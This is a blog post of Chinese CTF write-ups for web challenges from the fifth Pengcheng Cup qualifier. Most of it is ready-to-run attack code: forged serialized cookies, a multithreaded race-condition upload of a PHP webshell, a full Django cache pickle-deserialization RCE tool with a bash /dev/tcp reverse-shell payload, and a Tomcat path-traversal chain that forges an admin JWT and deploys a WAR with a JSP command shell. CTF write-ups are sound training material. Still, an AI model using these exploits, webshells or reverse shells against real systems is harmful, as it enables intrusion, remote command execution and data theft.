第五届鹏城杯 初赛 web wp

第五届鹏城杯 初赛 web wp

ez_php

抓包发现有 cookie 的校验

直接改成 admin 会报错

看提示感觉是 admin 被过滤了,双写一下就可以绕过去

TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30=

点击 test.txt 发现 url 处有文件读取,尝试读 dashboard.php 提示

需要绕过一下

扫目录发现 flag.php,测试了一下可以用/绕过后缀

Uplssse

一样是伪造一下 cookie

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjg6InhuZnRyb25lIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czoxMDoiaXNMb2dnZWRJbiI7YjoxO3M6ODoiaXNfYWRtaW4iO2k6MTt9

根据描述违规文件几秒后删除,猜测是条件竞争

尝试传了一个合法文件发现/tmp 目录是 403,猜测是有个.htaccess 在拦截读取

上传一个.htaccess 触发删除

然后就可以上传马访问了,写个脚本条件竞争一下

import io
import requests
import threading

proxy = {"http": "http://127.0.0.1:9002"}
host = "192.168.18.26"
port = 25002
url = f"http://{host}:{port}/"

cookie = {
    "user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjg6InhuZnRyb25lIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czoxMDoiaXNMb2dnZWRJbiI7YjoxO3M6ODoiaXNfYWRtaW4iO2k6MTt9"
}

content = "<?php system('cat /flag6f67186d');?>"

UPLOAD_THREADS = 20
ACCESS_THREADS = 20

stop_flag = threading.Event()


def upload_file():
    session = requests.Session()
    while not stop_flag.is_set():
        try:
            f = io.BytesIO(content.encode("utf-8"))
            files = {"file": ("xnftrone.php", f, "text/plain; charset=utf-8")}
            data = {"upload" : "1"}
            session.post(url + "upload.php",data=data, cookies=cookie, files=files, proxies=proxy, timeout=5)
        except:
            pass


def access_file():
    session = requests.Session()
    while not stop_flag.is_set():
        try:
            r = session.get(url + "tmp/xnftrone.php", cookies=cookie, proxies=proxy, timeout=5)
            if r.status_code != 404:
                print(f"[+] Success:\n{r.text}")
                stop_flag.set()
                return
        except:
            pass


if __name__ == "__main__":
    threads = []

    for _ in range(UPLOAD_THREADS):
        t = threading.Thread(target=upload_file, daemon=True)
        threads.append(t)

    for _ in range(ACCESS_THREADS):
        t = threading.Thread(target=access_file, daemon=True)
        threads.append(t)

    for t in threads:
        t.start()

    try:
        while not stop_flag.is_set():
            threading.Event().wait(0.1)
    except KeyboardInterrupt:
        pass

    stop_flag.set()
    for t in threads:
        t.join(timeout=1)

ezDjango

通过 /upload/ 上传恶意 .cache 文件到 /tmp,利用 /copy/ 将其复制到 Django 缓存目录(文件名为 md5(key)+.djcache),最后调用 /cache/trigger/ 触发 cache.get() 执行 pickle 反序列化,实现任意命令执行。

#!/usr/bin/env python3

import requests
import pickle
import zlib
import hashlib
import time
import os
import re
import base64

# ==================== 配置区域 ====================
TARGET_URL = "http://127.0.0.1:8000"  # 目标URL,根据实际情况修改
CACHE_KEY = "pwn"                      # 默认缓存键名
CACHE_DIR = None                       # 缓存目录 (自动探测)
KEY_PREFIX = ""                        # Django缓存KEY_PREFIX
KEY_VERSION = 1                        # Django缓存VERSION

# ==================== Payload 类 ====================

class RCE:
    """
    Pickle RCE Payload - 使用 eval + os.popen 获取命令输出
    """
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        # 使用eval执行os.popen().read()来获取命令输出
        return (eval, (f"__import__('os').popen({self.cmd!r}).read()",))

class RCESystem:
    """
    Pickle RCE Payload - 使用 os.system (无回显)
    """
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))

class ReverseShell:
    """
    Pickle 反弹Shell Payload
    """
    def __init__(self, ip, port):
        self.ip = ip
        self.port = port
    
    def __reduce__(self):
        import os
        cmd = f"bash -c 'bash -i >& /dev/tcp/{self.ip}/{self.port} 0>&1'"
        return (os.system, (cmd,))

class WriteFile:
    """
    Pickle 写文件 Payload
    """
    def __init__(self, path, content):
        self.path = path
        self.content = content
    
    def __reduce__(self):
        return (self._write_file, (self.path, self.content))
    
    @staticmethod
    def _write_file(path, content):
        with open(path, 'w') as f:
            f.write(content)
        return f"Written to {path}"

# ==================== 工具函数 ====================

def cache_filename(key: str) -> str:
    """计算Django缓存文件名 (简单MD5)"""
    return f"{hashlib.md5(key.encode()).hexdigest()}.djcache"

def django_cache_filename(key: str, key_prefix: str = "", version: int = 1) -> str:
    """
    计算Django缓存文件名 (带prefix和version)
    Django FileBasedCache 使用 make_key() 生成: "{prefix}:{version}:{key}"
    """
    raw = f"{key_prefix}:{version}:{key}"
    return f"{hashlib.md5(raw.encode()).hexdigest()}.djcache"

def get_all_cache_filenames(key: str, key_prefix: str = "", version: int = 1) -> list:
    """获取所有可能的缓存文件名"""
    return list(set([
        cache_filename(key),
        django_cache_filename(key, key_prefix, version),
    ]))

def create_cache_payload(payload_obj):
    """
    创建Django FileBasedCache格式的恶意缓存文件
    
    格式: pickle(expiry_timestamp) + zlib.compress(pickle(value))
    """
    # 使用一个很大的过期时间戳 (10^10 秒,约317年后)
    expiry = 10**10
    
    # 序列化过期时间
    expiry_data = pickle.dumps(expiry, protocol=pickle.HIGHEST_PROTOCOL)
    
    # 序列化并压缩payload
    payload_data = pickle.dumps(payload_obj, protocol=pickle.HIGHEST_PROTOCOL)
    compressed_payload = zlib.compress(payload_data)
    
    # 组合成完整的缓存文件内容
    return expiry_data + compressed_payload

def create_raw_pickle_payload(payload_obj):
    """创建原始pickle payload (不带Django缓存格式)"""
    return pickle.dumps(payload_obj, protocol=pickle.HIGHEST_PROTOCOL)

def normalize_url(url: str) -> str:
    """确保URL包含协议前缀"""
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url.rstrip("/")

# ==================== 攻击函数 ====================

def step0_get_cache_dir(session, cache_key=CACHE_KEY):
    """
    Step 0: 通过 /cache/viewer/ 获取缓存目录路径
    """
    print(f"[*] Step 0: 探测缓存目录...")
    
    url = f"{TARGET_URL}/cache/viewer/"
    data = {"key": cache_key}
    
    try:
        resp = session.post(url, data=data)
        result = resp.json()
        
        # 从响应中提取缓存路径
        text_to_search = " ".join([
            resp.text,
            result.get("message", ""),
            str(result.get("cache_path", ""))
        ])
        
        # 匹配 .djcache 文件路径
        m = re.search(r"(/[\S]+?\.djcache)", text_to_search)
        if m:
            cache_dir = os.path.dirname(m.group(1))
            print(f"[+] 发现缓存目录: {cache_dir}")
            return cache_dir
        
        if result.get("cache_path"):
            cache_dir = os.path.dirname(result["cache_path"])
            print(f"[+] 发现缓存目录: {cache_dir}")
            return cache_dir
            
        print(f"[-] 无法确定缓存目录,使用默认值: /tmp/django_cache")
        return "/tmp/django_cache"
        
    except Exception as e:
        print(f"[-] 探测异常: {e}")
        return "/tmp/django_cache"

def step1_upload_cache(session, payload_bytes, filename="evil.cache"):
    """
    Step 1: 上传恶意缓存文件到 /tmp
    """
    print(f"[*] Step 1: 上传恶意缓存文件...")
    
    url = f"{TARGET_URL}/upload/"
    files = {"file": (filename, payload_bytes, "application/octet-stream")}
    data = {"filename": filename}
    
    try:
        resp = session.post(url, files=files, data=data)
        result = resp.json()
        
        if result.get("status") == "success":
            filepath = result.get("filepath", "")
            print(f"[+] 上传成功: {filepath}")
            return filepath
        else:
            print(f"[-] 上传失败: {result.get('message')}")
            return None
    except Exception as e:
        print(f"[-] 上传异常: {e}")
        return None

def step2_copy_to_cache(session, src_path, cache_dir, cache_key=CACHE_KEY):
    """
    Step 2: 复制恶意文件到Django缓存目录 (尝试所有可能的文件名)
    """
    print(f"[*] Step 2: 复制文件到缓存目录...")
    
    # 获取所有可能的缓存文件名
    filenames = get_all_cache_filenames(cache_key, KEY_PREFIX, KEY_VERSION)
    
    url = f"{TARGET_URL}/copy/"
    success = False
    
    for target_filename in filenames:
        dst_path = f"{cache_dir}/{target_filename}"
        data = {"src": src_path, "dst": dst_path}
        
        try:
            resp = session.post(url, data=data)
            result = resp.json()
            
            if result.get("status") == "success":
                print(f"[+] 复制成功: {src_path} → {dst_path}")
                success = True
            else:
                print(f"[-] 复制失败 ({target_filename}): {result.get('message')}")
        except Exception as e:
            print(f"[-] 复制异常 ({target_filename}): {e}")
    
    return success

def step3_trigger_rce(session, cache_key=CACHE_KEY):
    """
    Step 3: 触发缓存读取,执行反序列化
    """
    print(f"[*] Step 3: 触发反序列化...")
    
    url = f"{TARGET_URL}/cache/trigger/"
    data = {"key": cache_key}
    
    try:
        resp = session.post(url, data=data)
        result = resp.json()
        print(f"[*] 触发响应: {result}")
        return result
    except Exception as e:
        print(f"[-] 触发异常: {e}")
        return None

def get_cache_info(session, cache_key=CACHE_KEY):
    """
    辅助: 获取缓存文件信息
    """
    print(f"[*] 获取缓存信息...")
    
    url = f"{TARGET_URL}/cache/viewer/"
    data = {"key": cache_key}
    
    try:
        resp = session.post(url, data=data)
        result = resp.json()
        print(f"[*] 缓存信息: {result}")
        return result
    except Exception as e:
        print(f"[-] 异常: {e}")
        return None

def exploit_format_string(session, payload="{user.__class__.__mro__}"):
    """
    利用格式化字符串漏洞泄露信息
    """
    print(f"[*] 测试格式化字符串注入...")
    
    url = f"{TARGET_URL}/generate/"
    
    # 创建一个假文件用于上传
    files = {"file": ("test.txt", b"test", "text/plain")}
    data = {"intro": payload, "filename": "test.txt"}
    
    try:
        resp = session.post(url, files=files, data=data)
        print(f"[*] 响应内容:\n{resp.text}")
        return resp.text
    except Exception as e:
        print(f"[-] 异常: {e}")
        return None

# ==================== 主攻击流程 ====================

def full_exploit(cmd="cat /flag"):
    """
    完整攻击流程
    """
    global CACHE_DIR
    
    print("=" * 60)
    print("Django FileBasedCache Pickle RCE Exploit")
    print("=" * 60)
    
    session = requests.Session()
    
    # Step 0: 探测缓存目录
    if CACHE_DIR is None:
        CACHE_DIR = step0_get_cache_dir(session, CACHE_KEY)
    
    # 创建恶意payload
    print(f"\n[*] 目标命令: {cmd}")
    payload_obj = RCE(cmd)
    payload_bytes = create_cache_payload(payload_obj)
    
    filenames = get_all_cache_filenames(CACHE_KEY, KEY_PREFIX, KEY_VERSION)
    print(f"[*] Payload大小: {len(payload_bytes)} bytes")
    print(f"[*] 目标缓存键: {CACHE_KEY}")
    print(f"[*] 可能的缓存文件名: {', '.join(filenames)}")
    
    # Step 1: 上传
    uploaded_path = step1_upload_cache(session, payload_bytes)
    if not uploaded_path:
        print("[-] 攻击失败: 上传阶段")
        return False
    
    # Step 2: 复制
    if not step2_copy_to_cache(session, uploaded_path, CACHE_DIR):
        print("[-] 攻击失败: 复制阶段")
        return False
    
    # Step 3: 触发
    result = step3_trigger_rce(session)
    
    print("\n" + "=" * 60)
    if result:
        print("[+] 攻击成功! 命令输出:")
        value = result.get("value", "")
        if "value_b64" in result:
            value = base64.b64decode(result["value_b64"]).decode(errors="ignore")
        print(value)
    else:
        print("[+] 攻击完成! 检查命令是否执行成功")
    print("=" * 60)
    
    return True

def reverse_shell_exploit(ip, port):
    """
    反弹Shell攻击
    """
    global CACHE_DIR
    
    print("=" * 60)
    print("Django FileBasedCache Reverse Shell Exploit")
    print("=" * 60)
    
    session = requests.Session()
    
    # Step 0: 探测缓存目录
    if CACHE_DIR is None:
        CACHE_DIR = step0_get_cache_dir(session, CACHE_KEY)
    
    print(f"\n[*] 反弹Shell目标: {ip}:{port}")
    payload_obj = ReverseShell(ip, port)
    payload_bytes = create_cache_payload(payload_obj)
    
    # 执行攻击流程
    uploaded_path = step1_upload_cache(session, payload_bytes)
    if uploaded_path:
        step2_copy_to_cache(session, uploaded_path, CACHE_DIR)
        step3_trigger_rce(session)
    
    print(f"\n[*] 请在 {ip}:{port} 监听连接")
    print(f"[*] 命令: nc -lvnp {port}")

# ==================== 测试函数 ====================

def test_connection():
    """测试目标连接"""
    try:
        resp = requests.get(f"{TARGET_URL}/", timeout=10)
        print(f"[+] 目标可达: {TARGET_URL}")
        print(f"[*] 状态码: {resp.status_code}")
        return True
    except Exception as e:
        print(f"[-] 连接失败: {e}")
        return False

def generate_payload_file(cmd, output_file="evil.cache"):
    """
    生成恶意缓存文件 (离线使用)
    """
    payload_obj = RCE(cmd)
    payload_bytes = create_cache_payload(payload_obj)
    
    with open(output_file, "wb") as f:
        f.write(payload_bytes)
    
    print(f"[+] Payload已保存到: {output_file}")
    print(f"[*] 文件大小: {len(payload_bytes)} bytes")
    print(f"[*] MD5: {hashlib.md5(payload_bytes).hexdigest()}")
    
    return output_file

# ==================== 命令行接口 ====================

if __name__ == "__main__":
    import argparse
    
    parser = argparse.ArgumentParser(description="Django FileBasedCache Pickle RCE Exploit")
    parser.add_argument("-u", "--url", default="http://127.0.0.1:8000", help="目标URL (例如: http://192.168.1.1:8000)")
    parser.add_argument("-c", "--cmd", default="cat /flag", help="要执行的命令")
    parser.add_argument("-k", "--key", default="pwn", help="缓存键名")
    parser.add_argument("--cache-dir", default=None, help="缓存目录 (自动探测)")
    parser.add_argument("--cache-prefix", default="", help="Django缓存KEY_PREFIX")
    parser.add_argument("--cache-version", type=int, default=1, help="Django缓存VERSION")
    parser.add_argument("--upload-name", default="evil.cache", help="上传的文件名")
    parser.add_argument("--reverse", nargs=2, metavar=("IP", "PORT"), help="反弹Shell")
    parser.add_argument("--generate", action="store_true", help="仅生成payload文件")
    parser.add_argument("--test", action="store_true", help="测试连接")
    parser.add_argument("--info", action="store_true", help="获取缓存信息")
    parser.add_argument("--format-string", default=None, help="测试格式化字符串注入")
    parser.add_argument("--verbose", action="store_true", help="显示详细输出")
    
    args = parser.parse_args()
    
    # 更新全局配置
    TARGET_URL = normalize_url(args.url)
    CACHE_KEY = args.key
    CACHE_DIR = args.cache_dir
    KEY_PREFIX = args.cache_prefix
    KEY_VERSION = args.cache_version
    
    print(f"[*] 目标URL: {TARGET_URL}")
    
    if args.test:
        test_connection()
    elif args.generate:
        generate_payload_file(args.cmd)
    elif args.reverse:
        reverse_shell_exploit(args.reverse[0], int(args.reverse[1]))
    elif args.info:
        session = requests.Session()
        get_cache_info(session, args.key)
    elif args.format_string:
        session = requests.Session()
        exploit_format_string(session, args.format_string)
    else:
        full_exploit(args.cmd)

ez_java

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) 
RewriteRule ^/download$ /%2 [B,L]

一个 download 路由

Apache Tomcat RewriteValve 目录遍历漏洞 | CVE-2025-55752 复现_cve-2025-55752 漏洞复现-CSDN 博客

可以这样去读源码

/download?path=%2fWEB-INF%2fweb.xml
/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fRegisterServlet.class
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<display-name>JWT Login WebApp</display-name>
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.ctf.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.ctf.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DashboardServlet</servlet-name>
<servlet-class>com.ctf.DashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>AdminDashboardServlet</servlet-name>
<servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
<multipart-config>
<max-file-size>10485760</max-file-size>
<max-request-size>20971520</max-request-size>
<file-size-threshold>0</file-size-threshold>
</multipart-config>
</servlet>
<servlet>
<servlet-name>BackUpServlet</servlet-name>
<servlet-class>com.ctf.BackUpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DashboardServlet</servlet-name>
<url-pattern>/dashboard/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminDashboardServlet</servlet-name>
<url-pattern>/admin/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>BackUpServlet</servlet-name>
<url-pattern>/backup/*</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>

发现源码里有静态调用到 JwtUtil 这个类,可以读出来

download?path=%2fWEB-INF/classes/com/ctf/JwtUtil.class

里面有 jwt 的 key

static {
        _key _= new SecretKeySpec("secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret".getBytes(StandardCharsets._UTF_8_), SignatureAlgorithm.HS256.getJcaName());
    }

这样就可以伪造 admin 进入 AdminDashboard

有一个文件上传的逻辑

private void uploadTar(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    Path fileDir = Paths.get(req.getServletContext().getRealPath("tmp"));
    if (!fileDir.toFile().exists()) {
        fileDir.toFile().mkdirs();
    }

    resp.setContentType("application/json; charset=UTF-8");

    try {
        Part filePart = req.getPart("file");
        if (filePart == null) {
            resp.getWriter().write("{\"error\":\"no file uploaded\"}");
            return;
        }

        Path targetPath = Paths.get(this.getServletContext().getRealPath("tmp/out.tar"));
        InputStream in = filePart.getInputStream();

        int count;
        try {
            OutputStream out = Files._newOutputStream_(targetPath);

            try {
                byte[] buf = new byte[8192];

                while((count = in.read(buf)) != -1) {
                    if (!(new String(buf, 0, count, StandardCharsets._UTF_8_)).contains("ホ") && !(new String(buf, 0, count, StandardCharsets._UTF_8_)).contains("ン")) {
                        out.write(buf, 0, count);
                    }
                }
            } catch (Throwable var15) {
                if (out != null) {
                    try {
                        out.close();
                    } catch (Throwable var14) {
                        var15.addSuppressed(var14);
                    }
                }

                throw var15;
            }

            if (out != null) {
                out.close();
            }
        } catch (Throwable var16) {
            if (in != null) {
                try {
                    in.close();
                } catch (Throwable var13) {
                    var16.addSuppressed(var13);
                }
            }

            throw var16;
        }

        if (in != null) {
            in.close();
        }

        String destFolder = "uploads";
        TInputStream tis = new TInputStream(new BufferedInputStream(Files._newInputStream_(targetPath)));
        TarEntry entry;
        if ((entry = tis.getNextEntry()) != null) {
            byte[] data = new byte[2048];
            String var10002 = this.getServletContext().getRealPath(destFolder);
            FileOutputStream fos = new FileOutputStream(var10002 + entry.getName());
            BufferedOutputStream dest = new BufferedOutputStream(fos);

            while((count = tis.read(data)) != -1) {
                dest.write(data, 0, count);
            }

            System._out_.println(new String(data));
            dest.flush();
            dest.close();
        }

        tis.close();
        File f = targetPath.toFile();
        if (f.exists() && f.isFile()) {
            boolean ok = f.delete();
            if (!ok) {
                resp.getWriter().write("{\"status\":\"delete failed\"}");
                return;
            }
        }

        resp.getWriter().write("{\"status\":\"ok\"}");
    } catch (Exception var17) {
        Exception e = var17;
        resp.getWriter().write("{\"error\":\"" + e.getMessage() + "\"}");
    }

}

tar 解压有一个目录穿越的机制

可以利用 tomcat 自动部署 war 包的机制,传入一个 war 包到根目录去,利用新的 web.xml 去解析 jsp

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_"""_
_EzJava CTF Exploit - xnftrone_
_"""_

import requests
import zipfile
import tarfile
import io
import time
import sys
import re
import hmac
import hashlib
import base64
import json

SECRET = b"secret-secret-secret-secret-secret-secret-secret-secret-secret-secret-secret"


def b64url_enc(data):
    if isinstance(data, str):
        data = data.encode("utf-8")
    return base64.urlsafe_b64encode(data).decode("utf-8").rstrip("=")


def forge_jwt():
    hdr = {"alg": "HS256", "typ": "JWT"}
    pld = {"sub": "admin", "username": "admin", "iat": int(time.time()), "exp": int(time.time()) + 7200}
    hdr_b64 = b64url_enc(json.dumps(hdr, separators=(',', ':')))
    pld_b64 = b64url_enc(json.dumps(pld, separators=(',', ':')))
    sig = hmac.new(SECRET, f"{hdr_b64}.{pld_b64}".encode(), hashlib.sha256).digest()
    return f"{hdr_b64}.{pld_b64}.{b64url_enc(sig)}"


def build_war():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("xnftrone.jsp", """<pre><%
if(request.getParameter("xnftrone")!=null){
    ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c",request.getParameter("xnftrone"));
    pb.redirectErrorStream(true);
    java.util.Scanner s = new java.util.Scanner(pb.start().getInputStream()).useDelimiter("\\\\A");
    out.print(s.hasNext()?s.next():"");
}
%></pre>""")
        zf.writestr("WEB-INF/web.xml", """<?xml version="1.0"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" version="4.0">
<servlet><servlet-name>jsp</servlet-name><servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class><load-on-startup>1</load-on-startup></servlet>
<servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern></servlet-mapping>
</web-app>""")
    buf.seek(0)
    return buf.getvalue()


def build_tar(war):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w') as tf:
        info = tarfile.TarInfo(name="/../../xnftrone.war")
        info.size = len(war)
        tf.addfile(info, io.BytesIO(war))
    buf.seek(0)
    return buf.getvalue()


def exploit(target):
    print(f"[*] Target: {target}")
    
    jwt = forge_jwt()
    print(f"[*] JWT: {jwt[:50]}...")
    
    war = build_war()
    tar = build_tar(war)
    print(f"[*] Payload ready")
    
    print("[*] Uploading...")
    r = requests.post(f"{target}/admin/upload", files={"file": ("xnftrone.tar", tar)}, cookies={"jwt": jwt})
    print(f"[*] Upload: {r.status_code}")
    
    print("[*] Waiting 15s...")
    time.sleep(15)
    
    shell = f"{target}/xnftrone/xnftrone.jsp"
    print(f"[*] Checking {shell}")
    
    r = requests.get(shell, params={"xnftrone": "id"})
    if r.status_code == 200 and "<%" not in r.text:
        print(f"[+] RCE OK!")
        print(f"[+] {r.text.strip()}")
        
        r = requests.get(shell, params={"xnftrone": "env"})
        m = re.search(r'(flag\{[^}]+\})', r.text, re.I)
        if m:
            print(f"\n[FLAG] {m.group(1)}\n")
        
        while True:
            try:
                cmd = input("xnftrone> ").strip()
                if cmd == "exit": break
                if cmd:
                    r = requests.get(shell, params={"xnftrone": cmd})
                    print(re.sub(r'<[^>]+>', '', r.text).strip())
            except: break
    else:
        print(f"[-] Failed: {r.status_code}")


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.18.25:25004/"
    exploit(target.rstrip('/'))
posted @ 2025-12-13 20:56  xNftrOne  阅读(288)  评论(0)    收藏  举报